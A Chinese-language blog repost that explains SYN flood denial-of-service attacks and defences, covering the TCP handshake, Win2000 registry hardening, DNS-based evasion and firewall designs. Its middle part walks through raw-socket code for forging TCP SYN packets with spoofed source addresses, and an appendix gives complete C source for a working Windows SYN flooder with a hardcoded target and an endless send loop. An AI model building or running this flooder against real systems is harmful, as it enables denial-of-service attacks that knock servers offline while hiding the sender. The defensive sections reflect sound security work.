追蹤
。有你真好。
關於部落格
‧∴ ° 手心的太陽‧∴ °∴ ‧°‧∴ ☆╮
  • 321027

    累積人氣

  • 21

    今日人氣

    2

    追蹤人氣

SYN Flood 攻擊的基本原理及防禦

大家都知道,TCP與UDP不同,它是基於連接的,也就是說:為了在服務端和用戶端之間傳 送TCP資料,必須先建立一個虛擬電路,也就是TCP連接,建立TCP連接的標準過程是這樣的 : 首先,請求端(用戶端)發送一個包含SYN標誌的TCP報文,SYN即同步(Synchronize), 同步報文會指明用戶端使用的埠以及TCP連接的初始序號; 第二步,伺服器在收到用戶端的SYN報文後,將返回一個SYN+ACK的報文,表示用戶端的請 求被接受,同時TCP序號被加一,ACK即確認(Acknowledgement)。 第三步,用戶端也返回一個確認報文ACK給伺服器端,同樣TCP序列號被加一,到此一個TCP 連接完成。 以上的連接過程在TCP協議中被稱為三次握手(Three-way Handshake)。 問題就出在TCP連接的三次握手中,假設一個用戶向伺服器發送了SYN報文後突然死機或掉 線,那麼伺服器在發出SYN+ACK應答報文後是無法收到用戶端的ACK報文的(第三次握手無 法完成),這種情況下伺服器端一般會重試(再次發送SYN+ACK給用戶端)並等待一段時 間後丟棄這個未完成的連接,這段時間的長度我們稱為SYN Timeout,一般來說這個時間 是分鐘的數量級(大約為30秒-2分鐘);一個用戶出現異常導致伺服器的一個線程等待1 分鐘並不是什麼很大的問題,但如果有一個惡意的攻擊者大量類比這種情況,伺服器端將 為了維護一個非常大的半連接列表而消耗非常多的資源---- 數以萬計的半連接,即使是簡單的保存並遍曆也會消耗非常多的CPU時間和記憶體 ,何況還要不斷對這個列表中的IP進行SYN+ACK的重試。實際上如果伺服器的TCP/IP棧不 夠強大,最後的結果往往是堆疊溢位崩潰---即使伺服器端的系統足夠強大,伺服器端也 將忙於處理攻擊者偽造的TCP連接請求而無暇理睬客戶的正常請求(畢竟用戶端的正常請 求比率非常之小),此時從正常客戶的角度看來,伺服器失去響應,這種情況我們稱作: 伺服器端受到了SYN Flood攻擊(SYN洪水攻擊)。 從防禦角度來說,有幾種簡單的解決方法,第一種是縮短SYN Timeout時間,由於SYN Flood攻擊的效果取決於伺服器上保持的SYN半連接數,這個值=SYN攻擊的頻度 x SYN Timeout,所以通過縮短從接收到SYN報文到確定這個報文無效並丟棄改連接的時間,例如 設置為20秒以下(過低的SYN Timeout設置可能會影響客戶的正常訪問),可以成倍的降 低伺服器的負荷。 第二種方法是設置SYN Cookie,就是給每一個請求連接的IP位址分配一個Cookie,如果短 時間內連續受到某個IP的重複SYN報文,就認定是受到了攻擊,以後從這個IP地址來的包 會被一概丟棄。 可是上述的兩種方法只能對付比較原始的SYN Flood攻擊,縮短SYN Timeout時間僅在對方 攻擊頻度不高的情況下生效,SYN Cookie更依賴于對方使用真實的IP位址,如果攻擊者以 數萬/秒的速度發送SYN報文,同時利用SOCK_RAW隨機改寫IP報文中的源位址,以上的方法 將毫無用武之地。 第二部份 SYN Flooder源碼解讀 下面我們來分析SYN Flooder的程式實現。 首先,我們來看一下TCP報文的格式: 0 1 2 3 4 5 6 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | IP首部 | TCP首部 | TCP資料段   | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 圖一 TCP報文結構 如上圖所示,一個TCP報文由三個部分構成:20位元組的IP首部、20位元組的TCP首部與不 定長的資料段,(實際操作時可能會有可選的IP選項,這種情況下TCP首部向後順延)由 於我們只是發送一個SYN信號,並不傳遞任何資料,所以TCP資料段為空。TCP首部的資料 結構為: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 十六位源埠號 | 十六位元目標埠號 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 三十二位序列號 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 三十二位確認號 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 四位 | |U|A|P|R|S|F| | | 首部 |六位保留位元 |R|C|S|S|Y|I| 十六位元窗口大小 | | 長度 | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 十六位校驗和 | 十六位緊急指針 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 選項(若有) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 數據(若有) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- 圖二 TCP首部結構 根據TCP報文格式,我們定義一個結構TCP_HEADER用來存放TCP首部: typedef struct _tcphdr { USHORT th_sport; //16位源埠 USHORT th_dport; //16位元目的埠 unsigned int th_seq; //32位序列號 unsigned int th_ack; //32位確認號 unsigned char th_lenres; //4位首部長度+6位保留字中的4位 unsigned char th_flag; //2位元保留字+6位元標誌位元 USHORT th_win; //16位元窗口大小 USHORT th_sum; //16位校驗和 USHORT th_urp; //16位元緊急資料偏移量 }TCP_HEADER; 通過以正確的資料填充這個結構並將TCP_HEADER.th_flag賦值為2(二進位的00000010) 我們能製造一個SYN的TCP報文,通過大量發送這個報文可以實現SYN Flood的效果。但是 為了進行IP欺騙從而隱藏自己,也為了躲避伺服器的SYN Cookie檢查,還需要直接對IP首 部進行操作: 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 版本 | 長度 | 八位服務類型| 十六位總長度 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 十六位元標識 | 標誌| 十三位元片偏移   | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- | 八位元生存時間 | 八位元協議 | 十六位元首部校驗和| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 三十二位源IP地址 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 三十二位元目的IP位址 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | 選項(若有) | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |   數據   | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 圖三 IP首部結構 同樣定義一個IP_HEADER來存放IP首部 typedef struct _iphdr { unsigned char h_verlen; //4位首部長度+4位IP版本號 unsigned char tos; //8位服務類型TOS unsigned short total_len; //16位元總長度(位元組) unsigned short ident; //16位元標識 unsigned short frag_and_flags; //3位元標誌位元 unsigned char ttl; //8位生存時間 TTL unsigned char proto; //8位元協議號(TCP, UDP 或其他) unsigned short checksum; //16位IP首部校驗和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位元目的IP位址 }IP_HEADER; 然後通過SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_ OVERLAPPED)); 建立一個原始套介面,由於我們的IP源位址是偽造的,所以不能指望系統幫我們計算IP校 驗和,我們得在在setsockopt中設置IP_HDRINCL告訴系統自己填充IP首部並自己計算校驗和 : flag=TRUE; setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); IP校驗和的計算方法是:首先將IP首部的校驗和欄位設為0(IP_HEADER.checksum=0),然 後計算整個IP首部(包括選項)的二進位反碼的和,一個標準的校驗和函數如下所示: USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) cksum += *(UCHAR*)buffer; cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } 這個函數並沒有經過任何的優化,由於校驗和函數是TCP/IP協定中被調用最多函數之一, 所以一般說來,在實現TCP/IP棧時,會根據作業系統對校驗和函數進行優化。 TCP首部核對總和與IP首部校驗和的計算方法相同,在程式中使用同一個函數來計算。 需要注意的是,由於TCP首部中不包含源位址與目標位址等資訊,為了保證TCP校驗的有效 性,在進行TCP校驗和的計算時,需要增加一個TCP偽首部的校驗和,定義如下: struct { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; //置空 char ptcl; //協議類型 unsigned short tcpl; //TCP長度 }psd_header; 然後我們將這兩個欄位複製到同一個緩衝區SendBuf中並計算TCP校驗和: memcpy(SendBuf,&psd_header,sizeof(psd_header)); memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header)); tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_ header)); 計算IP校驗和的時候不需要包括TCP偽首部: memcpy(SendBuf,&ip_header,sizeof(ip_header)); memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header)); ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_ header)); 再將計算過校驗和的IP首部與TCP首部複製到同一個緩衝區中就可以直接發送了: memcpy(SendBuf,&ip_header,sizeof(ip_header)); sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr)); 因為整個TCP報文中的所有部分都是我們自己寫入的(作業系統不會做任何干涉),所以 我們可以在IP首部中放置隨機的源IP地址,如果偽造的源IP位址確實有人使用,他在接收 到伺服器的SYN+ACK報文後會發送一個RST報文(標誌位元為00000100),通知伺服器端不 需要等待一個無效的連接,可是如果這個偽造IP並沒有綁定在任何的主機上,不會有任何 設備去通知主機該連接是無效的(這正是TCP協定的缺陷),主機將不斷重試直到SYN Timeout時間後才能丟棄這個無效的半連接。所以當攻擊者使用主機分佈很稀疏的IP位址 段進行偽裝IP的SYN Flood攻擊時,伺服器主機承受的負荷會相當的高, 根據測試,一台PIII 550MHz+128MB+100Mbps的機器使用經過初步優化的 SYN Flooder程式 可以以16,000包/秒的速度發送TCP SYN報文,這樣的攻擊力已經足以拖垮大部分WEB伺服器 了。 稍微動動腦筋我們就會發現,想對SYN Flooder程式進行優化是很簡單的,從程式構架來 看,攻擊時迴圈內的代碼主要是進行校驗和計算與緩衝區的填充,一般的思路是提高校驗 和計算的速度,我甚至見過用彙編代碼編寫的校驗和函數,實際上,有另外一個變通的方 法可以輕鬆實現優化而又不需要高深的編程技巧和數學知識,(老實說吧,我數學比較差 :P),我們仔細研究了兩個不同源地址的TCP SYN報文後發現,兩個報文的大部分欄位相 同(比如目的地址、協議等等),只有源位址和校驗和不同(如果為了隱蔽,源埠也可以 有變化,但是並不影響我們演算法優化的思路),如果我們事先計算好大量的源位址與校驗 和的對應關係表(如果其他的欄位有變化也可以加入這個表),等計算完畢了攻擊程式就 只需要單純的組合緩衝區並發送(用指針來直接操作緩衝區的特定位置,從事先計算好的對 應 關係表中讀出資料,替換緩衝區相應欄位),這種簡單的工作完全取決於系統發送IP包的速 度, 與程式的效率沒有任何關係,這樣,即使是CPU主頻較低的主機也能快速的發送大量TCP SYN 攻擊包。 如果考慮到緩衝區拼接的時間,甚至可以定義一個很大的緩衝區陣列,填充完畢後再發送 (雛鷹給這種方法想了一個很貼切的比喻: 火箭炮裝彈雖然很慢,但是一旦炮彈上膛了以後就可以連續猛烈地發射了:)。 第三部分 SYN Flood攻擊的監測與防禦初探 對於SYN Flood攻擊,目前尚沒有很好的監測和防禦方法,不過如果系統管理員熟悉攻擊 方法和系統架構,通過一系列的設定,也能從一定程度上降低被攻擊系統的負荷,減輕負 面的影響。(這正是我撰寫本文的主要目的) 一般來說,如果一個系統(或主機)負荷突然升高甚至失去回應,使用Netstat 命令能看 到大量SYN_RCVD的半連接(數量>500或占總連接數的10%以上),可以認定,這個系統( 或主機)遭到了SYN Flood攻擊。 遭到SYN Flood攻擊後,首先要做的是取證,通過Netstat –n –p tcp >resault.txt記 錄目前所有TCP連接狀態是必要的,如果有嗅探器,或者TcpDump之類的工具,記錄TCP SYN報文的所有細節也有助於以後追查和防禦,需要記錄的欄位有:源位址、IP首部中的 標識、TCP首部中的序列號、TTL值等,這些資訊雖然很可能是攻擊者偽造的,但是用來分 析攻擊者的心理狀態和攻擊程式也不無幫助。特別是TTL值,如果大量的攻擊包似乎來自 不同的IP但是TTL值卻相同,我們往往能推斷出攻擊者與我們之間的路由器距離,至少也 可以通過過濾特定TTL值的報文降低被攻擊系統的負荷 (在這種情況下TTL值與攻擊報文不同的用戶就可以恢復正常訪問) 前面曾經提到可以通過縮短SYN Timeout時間和設置SYN Cookie來進行SYN攻擊保護,對於 Win2000系統,還可以通過修改註冊表降低SYN Flood的危害,在註冊表中作如下改動: 首先,打開regedit,找到HKEY_LOCAL_ MACHINESystemCurrentControlSetServicesTcpipParameters 增加一個SynAttackProtect的鍵值,類型為REG_DWORD,取值範圍是0-2,這個值決定了系 統受到SYN攻擊時採取的保護措施,包括減少系統SYN+ACK的重試的次數等,預設值是0( 沒有任何保護措施),推薦設置是增加一個TcpMaxHalfOpen的鍵值,類型為REG_DWORD, 取值範圍是100-0xFFFF,這個值是系統允許同時打開的半連接,默認情況下WIN2K PRO和 SERVER是100, ADVANCED SERVER是 500,這個值很難確定,取決於伺服器TCP負荷的狀況和可能受到的攻擊 強度, 具體的值需要經過試驗才能決定。 增加一個TcpMaxHalfOpenRetried的鍵值,類型為REG_DWORD,取值範圍是80-0xFFFF,默 認情況下WIN2K PRO和SERVER是80,ADVANCED SERVER是400,這個值決定了在什麼情況下 系統會打開SYN攻擊保護。 我們來分析一下Win2000的SYN攻擊保護機制:正常情況下,Win2K對TCP連接的三次握手有 一個常規的設置,包括SYN Timeout時間、SYN-ACK的重試次數和SYN報文從路由器到系統 再到Winsock的延時等,這個常規設置是針對系統性能進行優化的(安全和性能往往相互 矛盾)所以可以給用戶提供方便快捷的服務;一旦伺服器受到攻擊,SYN半連接的數量超 過TcpMaxHalfOpenRetried的設置,系統會認為自己受到了SYN Flood攻擊,此時設置在 SynAttackProtect鍵值中的選項開始作用,SYN Timeout時間被減短,SYN-ACK的重試次數 減少,系統也會自動對緩衝區中的報文進行延時,避免對TCP/IP堆疊造成過大的衝擊, 力圖將攻擊危害減到最低;如果攻擊強度不斷增大,超過了TcpMaxHalfOpen值,此時系統已 經不能提供正常的服務了, 更重要的是保證系統不會崩潰,所以系統將會丟棄任何超出TcpMaxHalfOpen值範圍的SYN報 文 (應該是使用隨機丟包策略),保證系統的穩定性。 所以,對於需要進行SYN攻擊保護的系統,我們可以測試/預測一下訪問峰值時期的半連接 打開量,以其作為參考設定TcpMaxHalfOpenRetried的值(保留一定的餘量),然後再以 cpMaxHalfOpenRetried的1.25倍作為TcpMaxHalfOpen值,這樣可以最大限度地發揮WIN2K 自身的SYN攻擊保護機制。 通過設置註冊表防禦SYN Flood攻擊,採用的是“挨打”的策略,無論系統如何強大,始 終不能光靠挨打支撐下去,除了挨打之外,“退讓”也是一種比較有效的方法。 退讓策略是基於SYN Flood攻擊代碼的一個缺陷,我們重新來分析一下SYN Flood攻擊者的 流程:SYN Flood程式有兩種攻擊方式,基於IP的和基於功能變數名稱的,前者是攻擊者 自己進行功能變數名稱解析並將IP位址傳遞給攻擊程式,後者是攻擊程式自動進行功能變 數名稱解析,但是它們有一點是相同的,就是一旦攻擊開始,將不會再進行功能變數名稱 解析,我們的切入點正是這裏:假設一台伺服器在受到SYN Flood攻擊後迅速更換自己的 IP位址,那麼攻擊者仍在不斷攻擊的只是一個空的IP位址,並沒有任何主機,而防禦方只 要將DNS解析更改到新的IP位址就能在很短的時間內(取決於DNS的刷新時間)恢復用戶通過 功能變數名稱進行的正常訪問。 為了迷惑攻擊者,我們甚至可以放置一台“犧牲”伺服器讓攻擊者滿足於攻擊的“效果” (由於DNS緩衝的原因,只要攻擊者的流覽器不重起,他訪問的仍然是原先的IP位址)。 同樣的原因,在眾多的負載均衡架構中,基於DNS解析的負載均衡本身就擁有對SYN Flood的免疫力,基於DNS解析的負載均衡能將用戶的請求分配到不同IP的伺服器主機上, 攻擊者攻擊的永遠只是其中一台伺服器,雖然說攻擊者也能不斷去進行DNS請求從而打破 這種“退讓”策略,但是一來這樣增加了攻擊者的成本,二來過多的DNS請求可以幫助我 們追查攻擊者的真正蹤跡(DNS請求不同於SYN攻擊,是需要返回資料的,所以很難進行 IP 偽裝)。 對於防火牆來說,防禦SYN Flood攻擊的方法取決於防火牆工作的基本原理,一般說來, 防火牆可以工作在TCP層之上或IP層之下,工作在TCP層之上的防火牆稱為閘道型防火牆, 閘道型防火牆與伺服器、客戶機之間的關係如下圖所示: 外部TCP連接 內部TCP連接 [客戶機] =================>[防火牆] =================>[伺服器] 如上圖所示,客戶機與伺服器之間並沒有真正的TCP連接,客戶機與伺服器之間的所有資 料交換都是通過防火牆代理的,外部的DNS解析也同樣指向防火牆,所以如果網站被攻擊 ,真正受到攻擊的是防火牆,這種防火牆的優點是穩定性好,抗打擊能力強,但是因為所 有的TCP報文都需要經過防火牆轉發,所以效率比較低由於客戶機並不直接與伺服器建立 連接,在TCP連接沒有完成時防火牆不會去向後臺的伺服器建立新的TCP連接,所以攻擊者 無法越過防火牆直接攻擊後臺伺服器,只要防火牆本身做的足夠強壯,這種架構可以抵抗 相當強度的SYN Flood攻擊。但是由於防火牆實際建立 TCP連接數為用戶連接數的兩倍(防 火牆兩端都需要建立TCP連接), 同時又代理了所有的來自用戶端的TCP請求和資料傳送,在系統訪問量較大時,防火牆自身 的負荷會比較 高,所以這種架構並不能適用於大型網站。(我感覺,對於這樣的防火牆架構,使用TCP STATE攻擊估計會相當有效:) 工作在IP層或IP層之下的防火牆(路由型防火牆)工作原理有所不同,它與伺服器、客戶機 的關係如下圖所示: [防火牆] 資料包修改轉發 [客戶機]========|=======================>[伺服器] TCP連接 客戶機直接與伺服器進行TCP連接,防火牆起的是路由器的作用,它截獲所有通過的包並 進行過濾,通過過濾的包被轉發給伺服器,外部的DNS解析也直接指向伺服器,這種防火 牆的優點是效率高,可以適應100Mbps-1Gbps的流量,但是這種防火牆如果配置不當,不 僅可以讓攻擊者越過防火牆直接攻擊內部伺服器,甚至有可能放大攻擊的強度,導致整個系 統崩潰。 在這兩種基本模型之外,有一種新的防火牆模型,我個人認為還是比較巧妙的,它集中了 兩種防火牆的優勢,這種防火牆的工作原理如下所示: 第一階段,客戶機請求與防火牆建立連接: SYN SYN+ACK ACK [客戶機]---- >[防火牆] => [防火牆]-------- >[客戶機] => [客戶機]--- >[防火牆] 第二階段,防火牆偽裝成客戶機與後臺的伺服器建立連接 [防火牆]< =========== >[伺服器] TCP連接 第三階段,之後所有從客戶機來的TCP報文防火牆都直接轉發給後臺的伺服器 防火牆轉發 [客戶機]< ======|======= >[伺服器] TCP連接 這種結構吸取了上兩種防火牆的優點,既能完全控制所有的SYN報文,又不需要對所有的 TCP資料報文進行代理,是一種兩全其美的方法。 近來,國外和國內的一些防火牆廠商開始研究帶寬控制技術,如果能真正做到嚴格控制、 分配帶寬,就能很大程度上防禦絕大多數的拒絕服務攻擊,我們還是拭目以待吧。 附錄:Win2000下的SYN Flood程式 改編自Linux下Zakath編寫的SYN Flooder 編譯環境:VC++6.0,編譯時需要包含ws2_32.lib ////////////////////////////////////////////////////////////////////////// // // // SYN Flooder For Win2K by Shotgun // // // // THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath // // THANX Lion Hook FOR PROGRAM OPTIMIZATION // // // // Released: [2001.4] // // Author: [Shotgun] // // Homepage: // // [http://IT.Xici.Net] // // [http://WWW.Patching.Net] // // // ////////////////////////////////////////////////////////////////////////// #include #include #include #include #define SEQ 0x28376839 #define SYN_DEST_IP "192.168.15.250"//被攻擊的IP #define FAKE_IP "10.168.150.1" //偽裝IP的起始值,本程式的偽裝IP覆蓋一個B類網段 #define STATUS_FAILED 0xFFFF //錯誤返回值 typedef struct _iphdr //定義IP首部 { unsigned char h_verlen; //4位首部長度,4位IP版本號 unsigned char tos; //8位服務類型TOS unsigned short total_len; //16位元總長度(位元組) unsigned short ident; //16位元標識 unsigned short frag_and_flags; //3位元標誌位元 unsigned char ttl; //8位生存時間 TTL unsigned char proto; //8位元協議 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校驗和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位元目的IP位址 }IP_HEADER; struct //定義TCP偽首部 { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; char ptcl; //協議類型 unsigned short tcpl; //TCP長度 }psd_header; typedef struct _tcphdr //定義TCP首部 { USHORT th_sport; //16位源埠 USHORT th_dport; //16位元目的埠 unsigned int th_seq; //32位序列號 unsigned int th_ack; //32位確認號 unsigned char th_lenres; //4位首部長度/6位保留字 unsigned char th_flag; //6位元標誌位元 USHORT th_win; //16位元窗口大小 USHORT th_sum; //16位校驗和 USHORT th_urp; //16位元緊急資料偏移量 }TCP_HEADER; //CheckSum:計算校驗和的子函數 USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum); } // SynFlood主函數 int main() { int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; int TimeOut=2000,SendSEQ=0; char SendBuf[128]={0}; char RecvBuf[65535]={0}; WSADATA wsaData; SOCKET SockRaw=(SOCKET)NULL; struct sockaddr_in DestAddr; IP_HEADER ip_header; TCP_HEADER tcp_header; //初始化SOCK_RAW if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){ fprintf(stderr,"WSAStartup failed: %dn",ErrorCode); ExitProcess(STATUS_FAILED); } SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED)); if (SockRaw==INVALID_SOCKET){ fprintf(stderr,"WSASocket() failed: %dn",WSAGetLastError()); ExitProcess(STATUS_FAILED); } flag=TRUE; //設置IP_HDRINCL以自己填充IP首部 ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)) ; If (ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!n"); __try{ //設置發送超時 ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof( TimeOut)); if(ErrorCode==SOCKET_ERROR){ fprintf(stderr,"Failed to set send TimeOut: %dn",WSAGetLastError()); __leave; } memset(&DestAddr,0,sizeof(DestAddr)); DestAddr.sin_family=AF_INET; DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP); FakeIpNet=inet_addr(FAKE_IP); FakeIpHost=ntohl(FakeIpNet); //填充IP首部 ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本號,低四位首部長度 ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位元總長度 (位元組) ip_header.ident=1; //16位元標識 ip_header.frag_and_flags=0; //3位元標誌位元 ip_header.ttl=128; //8位生存時間TTL ip_header.proto=IPPROTO_TCP; //8位元協議(TCP,UDP…) ip_header.checksum=0; //16位IP首部校驗和 ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址 ip_header.destIP=inet_addr(SYN_DEST_IP); //32位元目的IP位址 //填充TCP首部 tcp_header.th_sport=htons(7000); //源埠號 tcp_header.th_dport=htons(8080); //目的埠號 tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列號 tcp_header.th_ack=0; //ACK序列號置為0 tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP長度和保留位 tcp_header.th_flag=2; //SYN 標誌 tcp_header.th_win=htons(16384); //窗口大小 tcp_header.th_urp=0; //偏移 tcp_header.th_sum=0; //校驗和 //填充TCP偽首部(用於計算校驗和,並不真正發送) psd_header.saddr=ip_header.sourceIP; //源地址 psd_header.daddr=ip_header.destIP; //目的地址 psd_header.mbz=0; psd_header.ptcl=IPPROTO_TCP; //協議類型 psd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部長度 while(1) { //每發送10,240個報文輸出一個標示符 printf("."); for(counter=0;counter<10240;counter++){ if(SendSEQ++==65536) SendSEQ=1; //序列號迴圈 //更改IP首部 ip_header.checksum=0; //16位IP首部校驗和 ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP地址 //更改TCP首部 tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列號 tcp_header.th_sum=0; //校驗和 //更改TCP Pseudo Header psd_header.saddr=ip_header.sourceIP; //計算TCP校驗和,計算校驗和時需要包括TCP pseudo header memcpy(SendBuf,&psd_header,sizeof(psd_header)); memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header)); tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_ header)); //計算IP校驗和 memcpy(SendBuf,&ip_header,sizeof(ip_header)); memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header)); memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4); datasize=sizeof(ip_header)+sizeof(tcp_header); ip_header.checksum=checksum((USHORT *)SendBuf,datasize); //填充發送緩衝區 memcpy(SendBuf,&ip_header,sizeof(ip_header)); //發送TCP報文 ErrorCode=sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr)); if (ErrorCode==SOCKET_ERROR) printf("nSend Error:%dn",GetLastError()); }//End of for }//End of While }//End of try __finally { if (SockRaw != INVALID_SOCKET) closesocket(SockRaw); WSACleanup(); } return 0; } --------------------------------- http://www.study-area.org/tips/syn_flood.htm
相簿設定
標籤設定
相簿狀態